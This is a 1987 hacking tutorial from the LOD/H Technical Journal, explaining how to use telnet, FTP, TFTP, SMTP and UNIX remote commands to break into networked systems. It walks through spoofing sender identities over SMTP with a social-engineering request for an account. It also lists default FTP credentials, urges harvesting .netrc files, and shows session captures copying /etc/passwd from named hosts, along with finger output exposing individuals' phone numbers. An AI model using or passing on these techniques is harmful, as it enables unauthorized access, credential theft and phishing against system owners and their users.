home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / miscpub1 / netunix.tj2 < prev    next >
Text File  |  1992-09-26  |  18KB  |  504 lines

  1. The LOD/H Technical Journal: File #2 of 10
  2.  
  3.  
  4. ----------------------------
  5.      The Networked UNIX
  6.           :TCP-IP
  7.   by:
  8.         SOLID STATE
  9.         June 23 1987
  10. ----------------------------
  11.  
  12. PREFACE
  13.  
  14.    I've written this article with the assumption that those reading it have a
  15. working knowledge of UNIX and large networks, specifically the DARPA Internet
  16. -- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP
  17. (Internet Transmission Control Protocol) architecture, such as FTP, TFTP,
  18. TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I
  19. want to make it known that this file is not intended to be a 'why' file, but
  20. instead a 'how to' tutorial. In the event I get a good response concerning
  21. this document, I may later release a more technical oriented paper from a
  22. programmer's viewpoint.
  23.  
  24.    NOTE: Instances where I give examples of a command format, words in 
  25. capital
  26. represent variables. For example, in the line '$ telnet HOST', HOST should be
  27. replaced (in LOWERCASE!) by the name of a system. This is just my means of
  28. distinguishing between actual commands and their options.
  29.    Control characters are denoted in the form of an exponent, eg. ^H is
  30. control H.
  31.  
  32. YP DATABASE
  33.  
  34.    Present on every UNIX that supports TCP-IP are a set of files labeled by
  35. programmers as the yellow pages, that serve as a directory of the hosts and
  36. networks accessible by your system. These files are /etc/hosts and
  37. /etc/networks respectively. There may also be a third, /etc/hosts.equiv which
  38. is a listing of those hosts that share resources and/or have users common to
  39. each other. They are ASCII text and have viewable permissions to all.
  40. Therefore it may prove helpful to print these out for reference and easy
  41. access. Entries in the above mentioned take the form:
  42.  
  43. ###.###.###.###     host.owner.research   nicknames
  44.  
  45. Example:
  46.  
  47. 18.72.0.39          athena.mit.edu   mit-athena athena
  48.  
  49.    The string of numbers, expressed in octal "dot notation", is the NetNumber
  50. of the host. Followed by the complete name, and lastly other names which it 
  51. is
  52. universally known as. When attempting to access a system, any one of these
  53. identification codes may be used.
  54.    NOTE: Most of the databases one will come across are incomplete or may be
  55. outdated. A complete host list can be obtained from the Network Information
  56. Control Center (NIC) at SRI International, the host name is sri-nic.arpa
  57.  
  58. TELNET
  59.  
  60.    Telnet is the standard facility used for logging into other systems. It is
  61. found not only on UNIX, but TOPS, VMS, and all the other various operating
  62. systems found on the DDN. To activate the program:
  63.  
  64. % telnet HOST [PORT]
  65.  
  66.    If invoked without arguments, it enters command mode, indicated by the
  67. prompt 'telnet>' From here, many functions are available.
  68.  
  69. open HOST [PORT]
  70.    Open connection to named computer. If PORT, which shall be explained
  71. subsequently, is ommitted then telnet will contact the TELNET server of that
  72. host. As earlier mentioned, systems can be addressed by either their
  73. NetNumber, NetName, or a nickname.
  74.  
  75. close
  76.    Close connection and return to command mode.
  77.  
  78. quit
  79.    End session and exit program.
  80.  
  81. status
  82.    Show current status of telnet. ie. connections and toggled options.
  83.  
  84. z
  85.    Suspend telnet. This allows you to operate an interactive shell on the
  86. local machine while pending an open connection to a remote host.
  87.  
  88. ? COMMAND
  89.    Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all
  90. options is printed.
  91.  
  92.    Once a connection has been established, telnet enters input mode where you
  93. can communicate directly with the remote. To return to command mode, enter ^]
  94. A hacking session might look like:
  95.  
  96. % telnet ucbvax.berkeley.edu
  97. Trying 10.2.0.78 ...
  98. Connected to ucbvax.berkeley.edu.
  99. Escape character is '^]'.
  100.  
  101. 4.3 BSD UNIX (ucbvax.Berkeley.EDU)
  102.  
  103. login: example
  104. Password: ^D
  105. Connection closed by foreign host.
  106. %
  107.  
  108. PORTS
  109.  
  110.    Each host on the Internet runs various daemons to perform tedious upkeep
  111. jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp
  112. files. Along with the 'normal' daemons is one ran to accomodate communication
  113. between a host and its peers on a network. inetd the managing daemon of 
  114. system
  115. to system communication has a number of various services which it regularly
  116. uses, but they can also be manually addressed via telnet. The notation,
  117. predisplayed, is simply:
  118.  
  119. % telnet HOST PORT
  120.  
  121. OR
  122.  
  123. telnet> open HOST PORT
  124.  
  125.    Now each service has a port number associated with it. The number is
  126. decimal, in the range 0-1023. A database of all active services is located in
  127. the ASCII text file /etc/services
  128.    From a hacker's view the following are very helpful in the process of
  129. penetrating a system:
  130.  
  131. 79        Finger server. Connecting to this will give a systat report similar
  132. to one a user would get if he was on the target system and issued the finger
  133. command. Once connected to port 79, the host will sit idle until one of two
  134. things: Either a return is pressed and a general finger will result, or a
  135. username is entered where personal info will outcome.
  136.  
  137. % telnet psuvax1.psu.edu 79
  138. Trying 128.118.6.2 ...
  139. Connected to psuvax1.psu.edu.
  140. Escape character is '^]'.
  141.  
  142. Login       Name              TTY Idle    When            Office
  143. opr      The Operator          co      Sat 19:02  334  Whitmo  x5-9723
  144. hager    William W. Hager      d1      Sat 18:50              237-8876
  145. georg    Georg Schnitger       22 1:32 Sat 18:42  315  Whitmo  x5-1406
  146. malik    Sohail Malik          p0  18  Sat 19:16  214c  Compu  x5-0816
  147. Connection closed by foreign host.
  148. %
  149.  
  150. 11        Systat server. This can not be issued to target UNIX systems, but 
  151. is
  152. applicable to VMS and TOPS where it returns data like that from finger.
  153.  
  154. 25        SMTP server. This is the server used for mail among systems. It is
  155. also the most vulnerable port to attack as it can be easily fooled. With this
  156. knowledge the hacker can assume any identity he wishes through mail. For
  157. example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under 
  158. normal
  159. circumstances one would have to possess the root account wherefrom he would
  160. just enter:
  161.  
  162. % mail guest@cc3.bbn.com
  163.  
  164.    But this is not always feasible or possible! So we must resort to an
  165. indirect, devious approach..
  166.  
  167. % telnet cc3.bbn.com 25
  168. Trying 8.3.0.5 ...
  169. Connected to cc3.bbn.com.
  170. Escape character is '^]'.
  171.  
  172. 220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST
  173.  
  174. rcpt to: guest
  175. 250 guest... Recipient ok
  176. mail from: root@satnet.arpa
  177. 250 example... Sender ok
  178. data
  179. 354 Enter mail, end with "." on a line by itself
  180.  
  181. This is an example of the SMTP port.
  182. .
  183. 250 Mail accepted
  184. ^]
  185. telnet> c
  186. Connection closed.
  187. %
  188.  
  189.    To summarize the text above; First, contact the remote at port 25 using
  190. telnet:
  191.  
  192. % telnet HOST 25
  193.  
  194.    After system link authentication, enter:
  195.  
  196. rcpt to: USERNAME
  197.  
  198.    Ok? Type in bogus identity:
  199.  
  200. mail from: USERNAME@HOST
  201.  
  202.    To start message:
  203.  
  204. data
  205.  
  206.    Now, the mail:
  207.  
  208.      My organization has of late been discussing an upgrade to a Vax
  209. processor. The Sun computer we are currently using is immensely slow (and
  210. getting slower!) due to the demands put on it by the users. If you would 
  211. allow
  212. me a demo account on your system so I may view its performance, I would be
  213. deeply grateful.
  214.      Please respond to me through mail at: bogus!haha!sys1!jeff.
  215.  
  216.    A period on a line by itself will complete the transfer:
  217.  
  218. .
  219.  
  220. FTP
  221.  
  222.    FTP is a file transfer program that is quite powerful and helpful to the
  223. hacker in obtaining access to a target. It can be used to send and receive
  224. data. Similar to telnet, the client with which to communicate can be
  225. specified when invoked:
  226.  
  227. % ftp -n HOST
  228.  
  229.    The -n option I always include as it disables auto-login and net-trace, an
  230. auto-feature which sends the originator's login and system name. The prompt
  231. for FTP is 'ftp>'.
  232.  
  233. open HOST
  234.    Establish connection to the named HOST.
  235.  
  236. close
  237.    Terminate connection and return to command interpreter.
  238.  
  239. quit
  240.    Abort program.
  241.  
  242. status
  243.    Show status parameters.
  244.  
  245. ! COMMAND
  246.    Run shell command on local machine. Like the 'z' option of telnet, if
  247. COMMAND is ommitted, than an interactive shell is invoked. ^D will return 
  248. user
  249. back to the interpreter.
  250.  
  251. ls
  252.    Print a listing of the directory contents on the remote host in an
  253. abbreviated form. To do a long listing, enter 'dir'.
  254.  
  255. cd REMOTE_DIRECTORY
  256.    Change the working directory on server.
  257.  
  258. pwd
  259.    Print working directory on remote.
  260.  
  261. lcd DIRECTORY
  262.    Change the working directory on the local machine to DIRECTORY.
  263.  
  264. get REMOTE_FILE LOCAL_FILE
  265.    Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the
  266. local system.
  267.  
  268. send LOCAL_FILE REMOTE_FILE
  269.    Send LOCAL_FILE to the host and name it REMOTE_FILE.
  270.  
  271. append LOCAL_FILE REMOTE_FILE
  272.    Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.
  273.  
  274. rename REMOTE_FILE NEW_REMOTE_FILE
  275.    Give a new name to a remote file.
  276.  
  277. delete REMOTE_FILE
  278.    Kill REMOTE_FILE.
  279.  
  280.    Various other commands exist for bulk transfers and directory management.
  281. If there is any doubt ever on a command, help is always available:
  282.  
  283. ftp> help COMMAND
  284.  
  285.    Once a connection has been made, the computer will identify itself and 
  286. then
  287. go idle. (That is, if auto-logging is disabled as it should be.) To login to
  288. the system:
  289.  
  290. ftp> user USERNAME
  291.  
  292.    Then if a pass is required, the proper prompt will appear.
  293.  
  294. % ftp -n
  295. ftp> o ll-xn.arpa
  296. Connected to LL-XN.ARPA.
  297. 220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
  298. ftp> user anonymous
  299. 331 Guest login ok, send ident as password.
  300. Password:
  301. 230 Guest login ok, access restrictions apply.
  302. ftp>
  303.  
  304.    Logging on to a FTP server is different than normally entering a machine.
  305. When a remote user is operating FTP, the exchange is treated as a process of
  306. ftp or daemon, not an actual login. Therefore, a different login program,
  307. which restricts use immensely, is used.
  308.    If set up properly, FTP will chroot to /usr/spool/ftp where three
  309. directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the
  310. password file used for the FTP server login program. It is not a complete
  311. version of that in /etc/passwd, but it can be useful by providing usenames.
  312.    Also of mentioning is /etc/ftpusers. This file contains multiple lines
  313. of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are
  314. unlucky and your username appears in the file, FTP logins are denied.
  315.    A few defaults are present within this doctored version of /etc/passwd 
  316. that
  317. most always will provide access to a system.
  318.  
  319. ACCOUNT                  PASSWORD
  320. =================================
  321. anonymous                anonymous, guest, ftp
  322. ftp                      ftp
  323. guest                    guest
  324. ftpser                   ftpser
  325. tftpser                  tftpser
  326. help                     help
  327.  
  328.    Each user may have in their home directory a file titled '.netrc'. This is
  329. a file containing usernames and passwords used on systems that a user 
  330. commonly
  331. converses with. Entries in the file take the form:
  332.  
  333. machine HOST login USERNAME password PASSWORD
  334.  
  335.    It is advantageous to locate all of these files on your system as they 
  336. will
  337. expand not only your systems list, but also your chance of entering a
  338. computer.
  339.    Once admittance has been gained, I suggest copying the /etc/passwd file 
  340. for
  341. later attempts at hacking the front end of the system if other routes such as
  342. defaults, finger, TFTP (To be explained hereafter.), or by way of the remote
  343. facilities (Ditto.) are not possible.
  344.  
  345. ftp> get /etc/passwd pass
  346. 200 PORT command okay.
  347. 150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
  348. 226 Transfer complete.
  349. 48 bytes received in 0.32 seconds (0.15 Kbytes/s)
  350. ftp> close
  351. 221 Goodbye.
  352. ftp> quit
  353. %
  354.  
  355.  
  356. TFTP
  357.  
  358.    The Trivial File Transfer Program is probably the most dangerous aspect of
  359. the TCP-IP structure on the Internet. TFTP requires no account or password be
  360. present on a host system. About the only restriction is that the files
  361. inquired must have public read access permissions set. If not, an
  362. authorization failure error will result. Also, the TFTP server port must be
  363. open, otherwise no transmissions can take place.
  364.  
  365. % tftp HOST
  366.  
  367.    Once connected, the user will get the 'tftp>' prompt where from he can 
  368. grab
  369. or send files.
  370.  
  371. connect HOST
  372.    Set HOST up for transfers. There is no actual connection made in the sense
  373. that communication has happened, the program merely remembers what host to be
  374. used in a transfer inquiry. Therefore, there is not a disconnect command.
  375.  
  376. quit
  377.    Exit TFTP.
  378.  
  379. status
  380.    Show current set parameters. ie. HOST and timeout period.
  381.  
  382. get /PATH/FILE /PATH/FILE
  383.    Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no 
  384. HOST
  385. has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.
  386.  
  387. put /PATH/FILE /PATH/FILE
  388.    Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE.
  389. As above, if HOST has not been specified, the form is 'put /PATH/FILE
  390. HOST:/PATH/FILE'.
  391.  
  392. timeout SECONDS
  393.    Set timeout parameter. The default is 25, that means abort transmission if
  394. no response from selected host after set period.
  395.  
  396. ? COMMAND
  397.    Help with TFTP.
  398.  
  399.    TFTP is the preferred method of file transfer. But is often closed to use
  400. due to its insecurities. To the hacker though, it is wonderful because data
  401. captured are genuine, not doctored versions as is the case with FTP. 
  402. Therefore
  403. if possible, one will most likely use it to copy /etc/passwd:
  404.  
  405. % tftp mit-amt
  406. tftp> get /etc/passwd /tmp/passwd
  407. Received 16453 bytes in 7 seconds.
  408. tftp> q
  409. %
  410.  
  411. REMOTE PROCEDURES
  412.  
  413.    Additional to the standard features of the TCP setup present on all
  414. machines of the net, UNIX has a set of it's own remote system interaction
  415. commands. The set of utilities, which I affectionately call the Remote
  416. Execution Facilities, are usable only between resource sharing UNIX systems.
  417. The conglomeration of remote programs can be very helpful for overtaking 
  418. other
  419. suspect targets, especially if they are part of a small network unto
  420. themselves besides being major hosts on the Internet.
  421.    Before one sets out on the quest of conquering a system, it is wise to 
  422. know
  423. who is currently logged on:
  424.  
  425. % rusers -l HOST
  426.  
  427.    Rusers -l alone will print out a listing for all immediate surrounding 
  428. UNIX
  429. hosts, but if a HOST is specified, only that particular computer will report.
  430.  
  431. % rlogin HOST -l USERNAME
  432.  
  433.    If -l USERNAME is not included, the account name in use at present time
  434. will be used as the USERNAME when attempting login to HOST. If the username
  435. specified is present locally and on the distant machine in the file
  436. /etc/hosts.equiv, no password is required to login. This can be compromising
  437. to the security, a reason why the security wise will often make
  438. /etc/hosts.equiv a null file.
  439.    Each user may optionally have a file, '.rhost', in his home directory. 
  440. This
  441. is a personal equivalent to /etc/hosts.equiv. If you are logged into an
  442. account with such a file, no pass is required to login (via rlogin), to the
  443. computers named.
  444.    Alike to the UUCP protocol, there is an allowance of the Remote Execution
  445. Facilities to preform commands on a networked system:
  446.  
  447. % rsh HOST -l USERNAME "COMMAND"
  448.  
  449.    Remote shell will permit unlimited commands to be carried out on the 
  450. remote
  451. as long as the following criteria is met:
  452.      The username, if specified (If it is not, the current local one is
  453. used.), must be present on the foreign system and have remote execution
  454. privileges.
  455.      Commands are effective according to the environment set in .cshrc and
  456. .login on the host.
  457.    An example job:
  458.  
  459. % rsh century "ps -t console"
  460.  
  461.    If the quotes are ommitted then variables like *?.,\ are taken literally.
  462. Also, if no redirection is submitted, than output, if the command yields it,
  463. is sent back to the issuee.
  464.    Remote Copy, a sub-command of rsh, is a command similar to uucp. It must
  465. follow the criteria of Remote Shell plus all files qued must have public read
  466. permissions.
  467.  
  468. % rcp HOST:/PATH/FILE HOST:/PATH/FILE
  469.  
  470.    For example, a common call would be the password file. So if I wanted to
  471. transfer the /etc/passwd file from harvard.arpa to rutgers:
  472.  
  473. % rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
  474.  
  475.    This format leaves quite alot of flexibility as it stands third party
  476. transfers are possible. If the second HOST is not inserted, than the file is
  477. put on the local system.
  478.    A notable option of rcp is directory copy. It will if specified, copy a
  479. directory and all the trees beneath it...allowing you to in theory to copy 
  480. the
  481. entire file system onto your local host. (uh, oh!)
  482.  
  483. % rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
  484.  
  485. CONCLUSION
  486.  
  487.    In closing I would like to state that I have purposely left much
  488. information uncovered if I felt it would compromise an institution or 
  489. company.
  490. I apoligize for not explaining many of the subjects discussed in the full
  491. detail they deserve, but if I had this article would have been mammoth.
  492.    Any questions, challenges, comments, or criticism can be directed to me,
  493. Solid State, through any of a various boards I visit or to an LOD/H Technical
  494. Journal account of which your mail shall be somehow communicated to me.
  495.  
  496.  SOLID STATE
  497. Sys Unix Comm
  498. 
  499.  
  500.  DOWNLOADED FROM P-80 SYSTEMS....
  501.  
  502.  
  503. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  504.